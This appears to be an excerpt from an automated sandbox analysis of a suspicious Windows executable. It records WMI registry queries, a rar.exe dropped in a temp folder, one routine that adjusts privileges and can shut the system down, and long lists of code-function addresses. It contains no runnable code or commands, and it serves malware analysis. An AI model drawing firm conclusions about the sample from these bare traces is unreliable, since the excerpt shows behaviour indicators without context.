Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue

Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe

Code function: 65_2_00007FF629B13A70: CreateFileW,CreateFileW,DeviceIoControl,CloseHandle,

65_2_00007FF629B13A70

Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe

Code function: 65_2_00007FF629B3B57C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitWindowsEx,

65_2_00007FF629B3B57C

Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB205C74	0_2_00007FF6FB205C74
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB1E1000	0_2_00007FF6FB1E1000
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB1F0C64	0_2_00007FF6FB1F0C64
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB1F1484	0_2_00007FF6FB1F1484
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB1F2CC4	0_2_00007FF6FB1F2CC4
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB200B84	0_2_00007FF6FB200B84
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB1FFBD8	0_2_00007FF6FB1FFBD8
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB1F73F4	0_2_00007FF6FB1F73F4
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB2033BC	0_2_00007FF6FB2033BC
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB1F0A60	0_2_00007FF6FB1F0A60
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB208A38	0_2_00007FF6FB208A38
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB1F7AAC	0_2_00007FF6FB1F7AAC
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB1F1280	0_2_00007FF6FB1F1280
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB1E8B20	0_2_00007FF6FB1E8B20
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB1F91B0	0_2_00007FF6FB1F91B0
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB20518C	0_2_00007FF6FB20518C
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB1FD200	0_2_00007FF6FB1FD200
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB1F1074	0_2_00007FF6FB1F1074
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB1F5040	0_2_00007FF6FB1F5040
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB1FD880	0_2_00007FF6FB1FD880
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB1F28C0	0_2_00007FF6FB1F28C0
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB1E979B	0_2_00007FF6FB1E979B
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB1E9FCD	0_2_00007FF6FB1E9FCD
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB1F0E70	0_2_00007FF6FB1F0E70
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB202F20	0_2_00007FF6FB202F20
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB1F1F30	0_2_00007FF6FB1F1F30
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB1FFBD8	0_2_00007FF6FB1FFBD8
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB205728	0_2_00007FF6FB205728
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB204F10	0_2_00007FF6FB204F10
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB1FCD6C	0_2_00007FF6FB1FCD6C
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 0_2_00007FF6FB1E95FB	0_2_00007FF6FB1E95FB
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB205C74	1_2_00007FF6FB205C74
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB1E1000	1_2_00007FF6FB1E1000
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB1E95FB	1_2_00007FF6FB1E95FB
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB1F0C64	1_2_00007FF6FB1F0C64
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB1F1484	1_2_00007FF6FB1F1484
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB1F2CC4	1_2_00007FF6FB1F2CC4
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB200B84	1_2_00007FF6FB200B84
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB1FFBD8	1_2_00007FF6FB1FFBD8
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB1F73F4	1_2_00007FF6FB1F73F4
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB2033BC	1_2_00007FF6FB2033BC
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB1F0A60	1_2_00007FF6FB1F0A60
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB208A38	1_2_00007FF6FB208A38
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB1F7AAC	1_2_00007FF6FB1F7AAC
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB1F1280	1_2_00007FF6FB1F1280
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB1E8B20	1_2_00007FF6FB1E8B20
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB1F91B0	1_2_00007FF6FB1F91B0
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB20518C	1_2_00007FF6FB20518C
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB1FD200	1_2_00007FF6FB1FD200
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB1F1074	1_2_00007FF6FB1F1074
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB1F5040	1_2_00007FF6FB1F5040
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB1FD880	1_2_00007FF6FB1FD880
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB1F28C0	1_2_00007FF6FB1F28C0
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB1E979B	1_2_00007FF6FB1E979B
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB1E9FCD	1_2_00007FF6FB1E9FCD
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB1F0E70	1_2_00007FF6FB1F0E70
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB202F20	1_2_00007FF6FB202F20
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB1F1F30	1_2_00007FF6FB1F1F30
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB1FFBD8	1_2_00007FF6FB1FFBD8
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB205728	1_2_00007FF6FB205728
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB204F10	1_2_00007FF6FB204F10
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FF6FB1FCD6C	1_2_00007FF6FB1FCD6C
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFAEE12F0	1_2_00007FFDFAEE12F0
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFAEE18D0	1_2_00007FFDFAEE18D0
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB354460	1_2_00007FFDFB354460
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB1A3B80	1_2_00007FFDFB1A3B80
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB1B7BC0	1_2_00007FFDFB1B7BC0
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB006A87	1_2_00007FFDFB006A87
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB00655F	1_2_00007FFDFB00655F
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB0060A0	1_2_00007FFDFB0060A0
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB06FA00	1_2_00007FFDFB06FA00
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB004165	1_2_00007FFDFB004165
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB003FDA	1_2_00007FFDFB003FDA
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB0022E8	1_2_00007FFDFB0022E8
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB0021B7	1_2_00007FFDFB0021B7
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB002766	1_2_00007FFDFB002766
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB130010	1_2_00007FFDFB130010
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB0032E7	1_2_00007FFDFB0032E7
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB01BF20	1_2_00007FFDFB01BF20
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB002289	1_2_00007FFDFB002289
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB01BD60	1_2_00007FFDFB01BD60
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB137CD0	1_2_00007FFDFB137CD0
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB0030C1	1_2_00007FFDFB0030C1
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB006EF1	1_2_00007FFDFB006EF1
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB005D8A	1_2_00007FFDFB005D8A
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB0029CD	1_2_00007FFDFB0029CD
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB006CBC	1_2_00007FFDFB006CBC
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB00114F	1_2_00007FFDFB00114F
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB13B200	1_2_00007FFDFB13B200
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB01F200	1_2_00007FFDFB01F200
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB00213F	1_2_00007FFDFB00213F
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB01F060	1_2_00007FFDFB01F060
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB00704A	1_2_00007FFDFB00704A
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB23F7D0	1_2_00007FFDFB23F7D0
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB001EA1	1_2_00007FFDFB001EA1
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB006F28	1_2_00007FFDFB006F28
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB02B850	1_2_00007FFDFB02B850
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB02B4C0	1_2_00007FFDFB02B4C0
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB003B93	1_2_00007FFDFB003B93
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB1374F0	1_2_00007FFDFB1374F0
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB005169	1_2_00007FFDFB005169
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB1A2C40	1_2_00007FFDFB1A2C40
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB0060DC	1_2_00007FFDFB0060DC
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB004E4E	1_2_00007FFDFB004E4E
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB005E25	1_2_00007FFDFB005E25
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB18E870	1_2_00007FFDFB18E870
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB0023F1	1_2_00007FFDFB0023F1
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB004633	1_2_00007FFDFB004633
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB0072C5	1_2_00007FFDFB0072C5
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB0E2EB0	1_2_00007FFDFB0E2EB0
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB01EF00	1_2_00007FFDFB01EF00
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB001B22	1_2_00007FFDFB001B22
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB004D04	1_2_00007FFDFB004D04
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB005DA3	1_2_00007FFDFB005DA3
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB005B0F	1_2_00007FFDFB005B0F
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB003486	1_2_00007FFDFB003486
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB136310	1_2_00007FFDFB136310
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB0057D1	1_2_00007FFDFB0057D1
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB004746	1_2_00007FFDFB004746
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB00378D	1_2_00007FFDFB00378D
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB004359	1_2_00007FFDFB004359
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB001B31	1_2_00007FFDFB001B31
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB006FFF	1_2_00007FFDFB006FFF
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB001CC1	1_2_00007FFDFB001CC1
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB132850	1_2_00007FFDFB132850
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB001A4B	1_2_00007FFDFB001A4B
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB005A60	1_2_00007FFDFB005A60
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB00707C	1_2_00007FFDFB00707C
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB003693	1_2_00007FFDFB003693
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB1B9B90	1_2_00007FFDFB1B9B90
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB0050AB	1_2_00007FFDFB0050AB
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB0035FD	1_2_00007FFDFB0035FD
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB1A1AD0	1_2_00007FFDFB1A1AD0
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB0059F7	1_2_00007FFDFB0059F7
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB004F3E	1_2_00007FFDFB004F3E
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB00638E	1_2_00007FFDFB00638E
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB002135	1_2_00007FFDFB002135
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB0053C1	1_2_00007FFDFB0053C1
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB004AC5	1_2_00007FFDFB004AC5
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB0054CF	1_2_00007FFDFB0054CF
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB00216C	1_2_00007FFDFB00216C
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB136010	1_2_00007FFDFB136010
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB0072AC	1_2_00007FFDFB0072AC
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB001622	1_2_00007FFDFB001622
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB002D0B	1_2_00007FFDFB002D0B
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB003BA2	1_2_00007FFDFB003BA2
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB00736A	1_2_00007FFDFB00736A
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB001D83	1_2_00007FFDFB001D83
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB007257	1_2_00007FFDFB007257
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB002982	1_2_00007FFDFB002982
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB001CFD	1_2_00007FFDFB001CFD
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB00266C	1_2_00007FFDFB00266C
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB003832	1_2_00007FFDFB003832
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB003A85	1_2_00007FFDFB003A85
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB1B93C0	1_2_00007FFDFB1B93C0
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB00710D	1_2_00007FFDFB00710D
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB0053A8	1_2_00007FFDFB0053A8
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB01D260	1_2_00007FFDFB01D260
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB0068CA	1_2_00007FFDFB0068CA
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB141170	1_2_00007FFDFB141170
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB12D170	1_2_00007FFDFB12D170
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB025200	1_2_00007FFDFB025200
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB00144C	1_2_00007FFDFB00144C
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB003189	1_2_00007FFDFB003189
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB001F96	1_2_00007FFDFB001F96
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB00542F	1_2_00007FFDFB00542F
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB006564	1_2_00007FFDFB006564
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB1417A0	1_2_00007FFDFB1417A0
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB001299	1_2_00007FFDFB001299
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB005510	1_2_00007FFDFB005510
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB003A8F	1_2_00007FFDFB003A8F
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB0054CA	1_2_00007FFDFB0054CA
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB0015C8	1_2_00007FFDFB0015C8
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB004287	1_2_00007FFDFB004287
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB005047	1_2_00007FFDFB005047
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB0044C6	1_2_00007FFDFB0044C6
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB005BF0	1_2_00007FFDFB005BF0
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB00560F	1_2_00007FFDFB00560F
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB005F10	1_2_00007FFDFB005F10
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB002D74	1_2_00007FFDFB002D74
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB006D5C	1_2_00007FFDFB006D5C
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB1B4BC0	1_2_00007FFDFB1B4BC0
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB002FCC	1_2_00007FFDFB002FCC
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB004C14	1_2_00007FFDFB004C14
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB004B56	1_2_00007FFDFB004B56
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB0011CC	1_2_00007FFDFB0011CC
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB00275C	1_2_00007FFDFB00275C
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB004A53	1_2_00007FFDFB004A53
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB0022AC	1_2_00007FFDFB0022AC
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB00177B	1_2_00007FFDFB00177B
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB0065A0	1_2_00007FFDFB0065A0
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB006EBF	1_2_00007FFDFB006EBF
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB004403	1_2_00007FFDFB004403
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB00362F	1_2_00007FFDFB00362F
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB00592F	1_2_00007FFDFB00592F
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB001217	1_2_00007FFDFB001217
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB001140	1_2_00007FFDFB001140
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB0010AA	1_2_00007FFDFB0010AA
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB0022FC	1_2_00007FFDFB0022FC
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB0026E9	1_2_00007FFDFB0026E9
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB001424	1_2_00007FFDFB001424
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB002E8C	1_2_00007FFDFB002E8C
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB140300	1_2_00007FFDFB140300
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB004C37	1_2_00007FFDFB004C37
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB004101	1_2_00007FFDFB004101
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB005B73	1_2_00007FFDFB005B73
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB006C21	1_2_00007FFDFB006C21
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB12C7D0	1_2_00007FFDFB12C7D0
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB0025EF	1_2_00007FFDFB0025EF
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB0069E7	1_2_00007FFDFB0069E7
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB0B0750	1_2_00007FFDFB0B0750
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB002C75	1_2_00007FFDFB002C75
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB01C620	1_2_00007FFDFB01C620
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB1B8490	1_2_00007FFDFB1B8490
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB01C480	1_2_00007FFDFB01C480
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB38B370	1_2_00007FFDFB38B370
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB3E7B90	1_2_00007FFDFB3E7B90
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB3CFC00	1_2_00007FFDFB3CFC00
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB38F8B5	1_2_00007FFDFB38F8B5
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB381451	1_2_00007FFDFB381451
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFB381DCF	1_2_00007FFDFB381DCF
